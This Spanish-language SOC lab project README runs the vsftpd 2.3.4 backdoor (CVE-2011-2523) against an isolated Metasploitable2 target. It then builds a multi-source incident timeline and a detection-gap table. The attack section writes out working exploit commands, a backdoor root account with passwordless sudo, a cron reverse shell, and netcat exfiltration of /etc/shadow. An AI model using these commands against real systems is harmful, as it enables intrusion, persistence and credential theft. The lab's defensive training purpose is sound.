
Investigación SOC de extremo a extremo: kill chain CVE-2011-2523, correlación de logs de múltiples fuentes, informe de incidente — MITRE ATT&CK T1190
Ejecuta una cadena de ataque completa de cuatro fases (Reconocimiento → Explotación → Persistencia → Exfiltración) contra Metasploitable2, recopila evidencia en cada fase y produce una línea de tiempo de incidentes estructurada y un informe SOC — demostrando el pensamiento simultáneo de atacante y defensor.
Este es el proyecto final. Demuestra la capacidad de:
El exploit utilizado (CVE-2011-2523 — puerta trasera de vsftpd 2.3.4) es históricamente significativo: fue un ataque a la cadena de suministro en el que un adversario inyectó una puerta trasera en el repositorio de código fuente del paquete de código abierto vsftpd.
╔═══════════════════════════════╗
║ soc-lab (172.23.0.0/24) ║
║ ║
┌─────────────┐ ║ ┌─────────────────────────┐ ║
│ Attacker │ ║ │ Metasploitable2 │ ║
│ Kali Linux │ ║ │ 172.23.0.200 │ ║
│ │ ║ │ │ ║
│ Phase 1 │─────╫─►│ :21 vsftpd 2.3.4 ◄───╫──╫── CVE-2011-2523
│ nmap -A │ ║ │ :22 SSH │ ║ backdoor on :6200
│ │ ║ │ :80 HTTP (DVWA) │ ║
│ Phase 2 │─────╫─►│ :445 Samba │ ║
│ msf exploit│◄────╫──│ :6200 root shell │ ║
│ │ ║ └─────────────────────────┘ ║
│ Phase 3 │─────╫─► useradd sysbackup ║
│ persistence│─────╫─► crontab reverse shell ║
│ │ ║ ║
│ Phase 4 │◄────╫── /etc/shadow via nc :5555 ║
│ exfiltration ╚═══════════════════════════════╝
└──────┬──────┘
│
│ Evidence collection:
│ logs/msf_session.log
│ logs/target_auth.log
│ captures/full_attack_chain.pcap (tshark CSV)
▼
┌──────────────────────────────────────────────────┐
│ build_timeline.py │
│ Parser: MSF log + auth.log + tshark CSV │
│ → merge by timestamp → tag by phase │
│ → JSON timeline + Markdown incident report │
└──────────────────────────────────────────────────┘
cd docker/
# Start Metasploitable2 (isolated network)
docker compose up -d metasploitable
# Verify target is reachable
nmap -p 21,22,80 172.23.0.200
# Start background packet capture
sudo tcpdump -i eth0 host 172.23.0.200 \
-w captures/full_attack_chain.pcap &
nmap -sV -O -A \
-p 21,22,80,139,445,3306,5432 \
--script=banner,ftp-anon,http-title \
-oX logs/recon_scan.xml \
172.23.0.200
Hallazgo clave: 21/tcp open ftp vsftpd 2.3.4
# Method A: Metasploit
msfconsole -q -x "
use exploit/unix/ftp/vsftpd_234_backdoor;
set RHOSTS 172.23.0.200;
set PAYLOAD cmd/unix/interact;
run" | tee logs/msf_session.log
# Method B: Manual (demonstrates the mechanism)
# Step 1: Trigger backdoor by sending username with ':)'
printf "USER evil:)\r\nPASS x\r\n" | nc 172.23.0.200 21
# Step 2: Connect to spawned root shell
nc 172.23.0.200 6200
# → id: uid=0(root) gid=0(root)
Por qué funciona: Cuando vsftpd 2.3.4 recibe un nombre de usuario que contiene la
subcadena :), el daemon ejecuta execl("/bin/sh",...) vinculado al puerto TCP 6200.
No se requiere autenticación — shell root directa.
# Execute in the root shell on target:
useradd -m -s /bin/bash sysbackup
echo "sysbackup:$(openssl passwd -1 secr3t)" >> /etc/passwd
echo "sysbackup ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers
(crontab -l 2>/dev/null; echo "* * * * * bash -i >& /dev/tcp/172.23.0.1/9999 0>&1") | crontab -
# Receiver (attacker)
nc -lvnp 5555 > samples/exfiltrated_shadow.txt
# Sender (on target)
cat /etc/shadow | nc 172.23.0.1 5555
# Convert PCAP to CSV first
bash ../02-network-recon-detection/src/pcap_to_siem.sh captures/full_attack_chain.pcap
# Build timeline from all sources
python3 src/build_timeline.py \
--msf-log logs/msf_session.log \
--auth-log logs/target_auth.log \
--pcap-csv captures/full_attack_chain_packets.csv \
--output-json samples/timeline.json \
--output-md docs/incident_report.md \
--pretty
build_timeline.py stderr2026-04-24T16:05:20 [INFO ] Parsed 9 events from MSF log
2026-04-24T16:05:20 [INFO ] Parsed 11 events from auth.log
2026-04-24T16:05:20 [INFO ] Parsed 4 flow-initiation events from PCAP CSV
2026-04-24T16:05:20 [INFO ] Total events (sorted): 24
2026-04-24T16:05:20 [INFO ] Unique IOCs extracted: 4
2026-04-24T16:05:20 [INFO ] Phase RECON : 8 event(s)
2026-04-24T16:05:20 [INFO ] Phase EXPLOIT : 4 event(s)
2026-04-24T16:05:20 [INFO ] Phase PERSIST : 6 event(s)
2026-04-24T16:05:20 [INFO ] Phase EXFIL : 2 event(s)
samples/sample_timeline.json){
"total_events": 24,
"iocs": [
{ "indicator": "172.23.0.1", "phase": "RECON", "occurrence": 8 },
{ "indicator": "172.23.0.1", "phase": "EXPLOIT", "occurrence": 2 },
{ "indicator": "sysbackup", "phase": "PERSIST", "occurrence": 1 }
],
"timeline": [
{ "timestamp": "2026-04-24T14:10:05+00:00", "phase": "RECON", "description": "nmap -sV -O -A", "source": "metasploit" },
{ "timestamp": "2026-04-24T14:22:41+00:00", "phase": "EXPLOIT", "description": "session 1 opened (172.23.0.1 → 172.23.0.200)", "source": "metasploit" },
{ "timestamp": "2026-04-24T14:28:07+00:00", "phase": "PERSIST", "description": "useradd: new user: name=sysbackup", "source": "auth_log" },
{ "timestamp": "2026-04-24T14:35:52+00:00", "phase": "EXFIL", "description": "flow 172.23.0.200 → 172.23.0.1:5555", "source": "pcap" }
]
}
Esta es la salida analítica más importante — lo que se habría perdido sin una detección adecuada.
Hallazgo crítico: El exploit de vsftpd 2.3.4 no deja ninguna entrada en auth.log porque evita el subsistema de inicio de sesión. La única evidencia de registro es la conexión TCP posterior al puerto 6200 — invisible sin telemetría de red. Los registros de endpoints por sí solos no pueden detectar esta clase de ataque.
04-soc-investigation/
├── src/
│ ├── build_timeline.py # Multi-source log merger + phase tagger
│ └── run_attack_chain.sh # Step-by-step attack chain with exact commands
├── configs/
│ └── splunk_detection_rules.spl # Phase-specific SPL queries (RECON/EXPLOIT/PERSIST/EXFIL)
├── samples/
│ └── sample_timeline.json # Example incident timeline JSON
├── docker/
│ └── docker-compose.yml # Metasploitable2 isolated target
├── docs/
│ └── incident_report.md # Generated SOC report (build_timeline.py --output-md)
└── screenshots/
| Herramienta | Propósito |
|---|
| Metasploitable2 | Objetivo Linux deliberadamente vulnerable |
| Nmap 7.94 | Fase 1: Enumeración de servicios |
| Metasploit 6.x | Fase 2: Exploit de vsftpd 2.3.4 |
| Netcat | Fases 3–4: Persistencia + exfiltración |
| tshark | Captura de paquetes durante todas las fases |
| Python 3 | build_timeline.py — fusionador de registros multi-fuente |
| Splunk Free / ELK | Detección SIEM específica por fase |
| Fase | Evidencia de Registro Bruta | Detectado por Regla SIEM | Perdido Sin Cobertura |
|---|
| RECON | PCAP: inundación SYN a 24 puertos | Regla de barrido de puertos (>20 puertos/10s) ✓ | Escaneo lento (-T1): evita completamente el umbral de velocidad |
| EXPLOIT | PCAP: nueva conexión a :6200 · Sin entrada en auth.log | Regla de anomalía para el puerto :6200 ✓ | Si el atacante usara un exploit HTTP en :80 — sin anomalía de puerto |
| PERSIST | auth.log: new user: name=sysbackup | Alerta de creación de nuevo usuario ✓ | Edición directa de /etc/passwd: cero registros sin auditd |
| EXFIL | PCAP: 4 KB salientes en :5555 | Regla de puerto no estándar + tamaño ✓ | Exfiltración por DNS (registros TXT): evita completamente las reglas de volumen |
| Limitación | Impacto | Mitigación |
|---|
| vsftpd 2.3.4 es una vulnerabilidad de 2011 | No es representativa de exploits modernos | Añadir EternalBlue (MS17-010) como escenario de exploit alternativo |
build_timeline.py utiliza clasificación por palabras clave | Clasifica erróneamente algunos eventos | Entrenar un clasificador NLP ligero con datos de registro etiquetados |
| Sin detección de endpoints (EDR) | La persistencia a nivel de archivo (authorized_keys) no se captura | Añadir Wazuh o Elastic Agent en el objetivo |
| Ejecución manual de la cadena de ataque | No reproducible sin intervención interactiva | Automatizar las fases 2–4 con scripts de recursos de Metasploit |
| Referencia | ID / Enlace |
|---|
| CVE-2011-2523 — Puerta trasera de vsftpd 2.3.4 | https://nvd.nist.gov/vuln/detail/CVE-2011-2523 |
| MITRE ATT&CK — Explotación de aplicación expuesta públicamente | T1190 |
| MITRE ATT&CK — Crear cuenta: cuenta local | T1136.001 |
| MITRE ATT&CK — Tarea/Job programado: Cron | T1053.003 |
| MITRE ATT&CK — Exfiltración a través del canal C2 | T1041 |
| MITRE ATT&CK — Cuentas válidas | T1078 |